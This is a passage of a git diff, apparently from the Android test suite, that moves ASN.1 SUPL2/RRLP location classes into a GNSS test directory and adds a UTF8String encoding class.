+ private static final Collection<Asn1Tag> possibleFirstTags =
+ ImmutableList.of(Asn1Tag.OCTET_STRING);
+
+ private int minimumSize = 0;
+ private Integer maximumSize = null; // null == unbounded.
+ private byte[] value;
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ return possibleFirstTags;
+ }
+
+ protected void setMinSize(int min) {
+ minimumSize = min;
+ }
+
+ protected void setMaxSize(int max) {
+ maximumSize = max;
+ }
+
+ public byte[] getValue() {
+ return value;
+ }
+
+ public void setValue(byte[] value) {
+ this.value = value;
+ }
+
+ @Override Asn1Tag getDefaultTag() {
+ return Asn1Tag.OCTET_STRING;
+ }
+
+ @Override int getBerValueLength() {
+ Objects.requireNonNull(value, "No value set.");
+ return value.length;
+ }
+
+ @Override void encodeBerValue(ByteBuffer buf) {
+ Objects.requireNonNull(value, "No value set.");
+ buf.put(value);
+ }
+
+ @Override void decodeBerValue(ByteBuffer buf) {
+ value = getRemaining(buf);
+ }
+
+ private Iterable<BitStream> encodePerImpl(boolean aligned) {
+ Objects.requireNonNull(value, "No value set.");
+ Preconditions.checkState(
+ maximumSize == null || value.length <= maximumSize, "Too large %s",
+ value.length);
+ if (maximumSize == null) {
+ if (aligned) {
+ return PerAlignedUtils.encodeSemiConstrainedLengthOfBytes(value);
+ } else {
+ return PerUnalignedUtils.encodeSemiConstrainedLengthOfBytes(value);
+ }
+ } else if (minimumSize == maximumSize) {
+ if (maximumSize == 0) {
+ return ImmutableList.of();
+ }
+ if (maximumSize < SIXTYFOUR_K) {
+ BitStream result = new BitStream();
+ for (int i = 0; i < maximumSize; i++) {
+ result.appendByte(value[i]);
+ }
+ if (aligned && maximumSize > 2) {
+ result.setBeginByteAligned();
+ }
+ return ImmutableList.of(result);
+ }
+ }
+ if (aligned) {
+ return PerAlignedUtils.encodeConstrainedLengthOfBytes(
+ value, minimumSize, maximumSize);
+ } else {
+ return PerUnalignedUtils.encodeConstrainedLengthOfBytes(
+ value, minimumSize, maximumSize);
+ }
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return encodePerImpl(false);
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return encodePerImpl(true);
+ }
+
+ private void decodePerImpl(BitStreamReader reader, boolean aligned) {
+ if (maximumSize == null) {
+ if (aligned) {
+ value = PerAlignedUtils.decodeSemiConstrainedLengthOfBytes(reader);
+ } else {
+ value = PerUnalignedUtils.decodeSemiConstrainedLengthOfBytes(reader);
+ }
+ return;
+ } else if (minimumSize == maximumSize) {
+ value = new byte[maximumSize];
+ if (maximumSize == 0) {
+ return;
+ }
+ if (maximumSize < SIXTYFOUR_K) {
+ if (aligned && maximumSize > 2) {
+ reader.spoolToByteBoundary();
+ }
+ for (int i = 0; i < maximumSize; i++) {
+ value[i] = reader.readByte();
+ }
+ return;
+ }
+ }
+ if (aligned) {
+ value = PerAlignedUtils.decodeConstrainedLengthOfBytes(
+ reader, minimumSize, maximumSize);
+ } else {
+ value = PerUnalignedUtils.decodeConstrainedLengthOfBytes(
+ reader, minimumSize, maximumSize);
+ }
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ decodePerImpl(reader, false);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ decodePerImpl(reader, true);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return getTypeName() + " = [ " + (value == null ? "<null>" : HEX.encode(value)) + " ];\n";
+ }
+
+ protected String getTypeName() {
+ return "";
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/base/Asn1ParameterObject.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/base/Asn1ParameterObject.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/base/Asn1ParameterObject.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/base/Asn1ParameterObject.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/base/Asn1PrintableString.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/base/Asn1PrintableString.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/base/Asn1PrintableString.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/base/Asn1PrintableString.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/base/Asn1Sequence.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/base/Asn1Sequence.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/base/Asn1Sequence.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/base/Asn1Sequence.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/base/Asn1SequenceOf.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/base/Asn1SequenceOf.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/base/Asn1SequenceOf.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/base/Asn1SequenceOf.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/base/Asn1SetOf.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/base/Asn1SetOf.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/base/Asn1SetOf.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/base/Asn1SetOf.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/base/Asn1Tag.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/base/Asn1Tag.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/base/Asn1Tag.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/base/Asn1Tag.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/base/Asn1TagClass.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/base/Asn1TagClass.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/base/Asn1TagClass.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/base/Asn1TagClass.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/base/Asn1UTCTime.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/base/Asn1UTCTime.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/base/Asn1UTCTime.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/base/Asn1UTCTime.java
diff --git a/tests/location/location_gnss/src/android/location/cts/gnss/asn1/base/Asn1Utf8String.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/base/Asn1Utf8String.java
new file mode 100644
index 0000000..0e04b7b
--- /dev/null
+++ b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/base/Asn1Utf8String.java
@@ -0,0 +1,120 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.base;
+
+import com.google.common.base.Preconditions;
+import com.google.common.collect.ImmutableList;
+
+import java.nio.ByteBuffer;
+import java.nio.charset.StandardCharsets;
+import java.util.Collection;
+import java.util.Objects;
+
+/**
+ * Base class for representing ASN.1 objects of type UTF8String.
+ */
+public class Asn1Utf8String extends Asn1Object {
+ private static final Collection<Asn1Tag> possibleFirstTags =
+ ImmutableList.of(Asn1Tag.UTF8STRING);
+
+ private int minimumSize = 0;
+ private Integer maximumSize = null; // null == unbounded.
+ private String value;
+
+ protected void setMinSize(int min) {
+ minimumSize = min;
+ }
+
+ protected void setMaxSize(int max) {
+ maximumSize = max;
+ }
+
+ public String getValue() {
+ return value;
+ }
+
+ public void setValue(String value) {
+ this.value = value;
+ }
+
+ private byte[] getValueBytes() {
+ return value.getBytes(StandardCharsets.UTF_8);
+ }
+
+ private void setValueBytes(byte[] bytes) {
+ value = new String(bytes, StandardCharsets.UTF_8);
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ return possibleFirstTags;
+ }
+
+ @Override Asn1Tag getDefaultTag() {
+ return Asn1Tag.UTF8STRING;
+ }
+
+ @Override int getBerValueLength() {
+ Objects.requireNonNull(value, "No value set.");
+ return getValueBytes().length;
+ }
+
+ @Override void encodeBerValue(ByteBuffer buf) {
+ Objects.requireNonNull(value, "No value set.");
+ buf.put(getValueBytes());
+ }
+
+ @Override public void decodeBerValue(ByteBuffer buf) {
+ setValueBytes(getRemaining(buf));
+ }
+
+ private Iterable<BitStream> encodePerImpl(boolean aligned) {
+ Objects.requireNonNull(value, "No value set.");
+ Preconditions.checkState(
+ maximumSize == null || value.length() <= maximumSize, "Too large %s",
+ value.length());
+ byte[] bytes = getValueBytes();
+ if (aligned) {
+ return PerAlignedUtils.encodeSemiConstrainedLengthOfBytes(bytes);
+ } else {
+ return PerUnalignedUtils.encodeSemiConstrainedLengthOfBytes(bytes);
+ }
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return encodePerImpl(false);
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return encodePerImpl(true);
+ }
+
+ private void decodePerImpl(BitStreamReader reader, boolean aligned) {
+ if (aligned) {
+ setValueBytes(PerAlignedUtils.decodeSemiConstrainedLengthOfBytes(reader));
+ } else {
+ setValueBytes(PerUnalignedUtils.decodeSemiConstrainedLengthOfBytes(reader));
+ }
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ decodePerImpl(reader, false);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ decodePerImpl(reader, true);
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/base/Asn1VisibleString.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/base/Asn1VisibleString.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/base/Asn1VisibleString.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/base/Asn1VisibleString.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/base/BitStream.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/base/BitStream.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/base/BitStream.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/base/BitStream.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/base/BitStreamReader.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/base/BitStreamReader.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/base/BitStreamReader.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/base/BitStreamReader.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/base/ChoiceComponent.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/base/ChoiceComponent.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/base/ChoiceComponent.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/base/ChoiceComponent.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/base/PacketBuilder.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/base/PacketBuilder.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/base/PacketBuilder.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/base/PacketBuilder.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/base/PerAlignedUtils.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/base/PerAlignedUtils.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/base/PerAlignedUtils.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/base/PerAlignedUtils.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/base/PerUnalignedUtils.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/base/PerUnalignedUtils.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/base/PerUnalignedUtils.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/base/PerUnalignedUtils.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/base/SequenceComponent.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/base/SequenceComponent.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/base/SequenceComponent.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/base/SequenceComponent.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/map_extensiondatatypes/ExtensionContainer.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/map_extensiondatatypes/ExtensionContainer.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/map_extensiondatatypes/ExtensionContainer.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/map_extensiondatatypes/ExtensionContainer.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/map_extensiondatatypes/PrivateExtension.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/map_extensiondatatypes/PrivateExtension.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/map_extensiondatatypes/PrivateExtension.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/map_extensiondatatypes/PrivateExtension.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/map_extensiondatatypes/PrivateExtensionList.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/map_extensiondatatypes/PrivateExtensionList.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/map_extensiondatatypes/PrivateExtensionList.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/map_extensiondatatypes/PrivateExtensionList.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/map_lcs_datatypes/Ext_GeographicalInformation.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/map_lcs_datatypes/Ext_GeographicalInformation.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/map_lcs_datatypes/Ext_GeographicalInformation.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/map_lcs_datatypes/Ext_GeographicalInformation.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/map_lcs_datatypes/VelocityEstimate.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/map_lcs_datatypes/VelocityEstimate.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/map_lcs_datatypes/VelocityEstimate.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/map_lcs_datatypes/VelocityEstimate.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/Accuracy.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/Accuracy.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/Accuracy.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/Accuracy.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/AccuracyOpt.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/AccuracyOpt.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/AccuracyOpt.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/AccuracyOpt.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/AcquisAssist.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/AcquisAssist.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/AcquisAssist.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/AcquisAssist.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/AcquisElement.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/AcquisElement.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/AcquisElement.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/AcquisElement.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/Add_GPS_AssistData.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/Add_GPS_AssistData.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/Add_GPS_AssistData.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/Add_GPS_AssistData.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/Add_GPS_ControlHeader.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/Add_GPS_ControlHeader.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/Add_GPS_ControlHeader.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/Add_GPS_ControlHeader.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/AddionalAngleFields.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/AddionalAngleFields.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/AddionalAngleFields.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/AddionalAngleFields.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/AddionalDopplerFields.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/AddionalDopplerFields.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/AddionalDopplerFields.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/AddionalDopplerFields.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/AdditionalAssistanceData.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/AdditionalAssistanceData.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/AdditionalAssistanceData.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/AdditionalAssistanceData.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/AdditionalDopplerFields.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/AdditionalDopplerFields.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/AdditionalDopplerFields.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/AdditionalDopplerFields.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/AlertFlag.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/AlertFlag.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/AlertFlag.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/AlertFlag.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/Almanac.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/Almanac.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/Almanac.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/Almanac.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/AlmanacElement.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/AlmanacElement.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/AlmanacElement.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/AlmanacElement.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/Almanac_ECEFsbasAlmanacSet.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/Almanac_ECEFsbasAlmanacSet.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/Almanac_ECEFsbasAlmanacSet.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/Almanac_ECEFsbasAlmanacSet.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/Almanac_GlonassAlmanacSet.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/Almanac_GlonassAlmanacSet.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/Almanac_GlonassAlmanacSet.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/Almanac_GlonassAlmanacSet.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/Almanac_KeplerianSet.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/Almanac_KeplerianSet.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/Almanac_KeplerianSet.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/Almanac_KeplerianSet.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/Almanac_MidiAlmanacSet.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/Almanac_MidiAlmanacSet.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/Almanac_MidiAlmanacSet.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/Almanac_MidiAlmanacSet.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/Almanac_NAVKeplerianSet.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/Almanac_NAVKeplerianSet.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/Almanac_NAVKeplerianSet.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/Almanac_NAVKeplerianSet.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/Almanac_ReducedKeplerianSet.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/Almanac_ReducedKeplerianSet.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/Almanac_ReducedKeplerianSet.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/Almanac_ReducedKeplerianSet.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/AntiSpoofFlag.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/AntiSpoofFlag.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/AntiSpoofFlag.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/AntiSpoofFlag.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/AssistBTSData.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/AssistBTSData.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/AssistBTSData.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/AssistBTSData.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/AssistBTSData_R98_ExpOTD.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/AssistBTSData_R98_ExpOTD.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/AssistBTSData_R98_ExpOTD.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/AssistBTSData_R98_ExpOTD.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/AssistanceData.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/AssistanceData.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/AssistanceData.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/AssistanceData.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/AssistanceNeeded.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/AssistanceNeeded.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/AssistanceNeeded.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/AssistanceNeeded.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/AssistanceSupported.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/AssistanceSupported.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/AssistanceSupported.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/AssistanceSupported.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/BCCHCarrier.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/BCCHCarrier.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/BCCHCarrier.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/BCCHCarrier.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/BSIC.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/BSIC.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/BSIC.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/BSIC.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/BSICAndCarrier.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/BSICAndCarrier.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/BSICAndCarrier.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/BSICAndCarrier.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/BTSPosition.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/BTSPosition.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/BTSPosition.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/BTSPosition.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/BadSignalElement.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/BadSignalElement.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/BadSignalElement.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/BadSignalElement.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/BitNumber.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/BitNumber.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/BitNumber.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/BitNumber.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/CNAVclockModel.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/CNAVclockModel.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/CNAVclockModel.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/CNAVclockModel.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/CalcAssistanceBTS.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/CalcAssistanceBTS.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/CalcAssistanceBTS.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/CalcAssistanceBTS.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/CellID.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/CellID.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/CellID.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/CellID.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/CellIDAndLAC.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/CellIDAndLAC.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/CellIDAndLAC.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/CellIDAndLAC.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/CommonGANSSAssistance.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/CommonGANSSAssistance.java
similarity index 100%
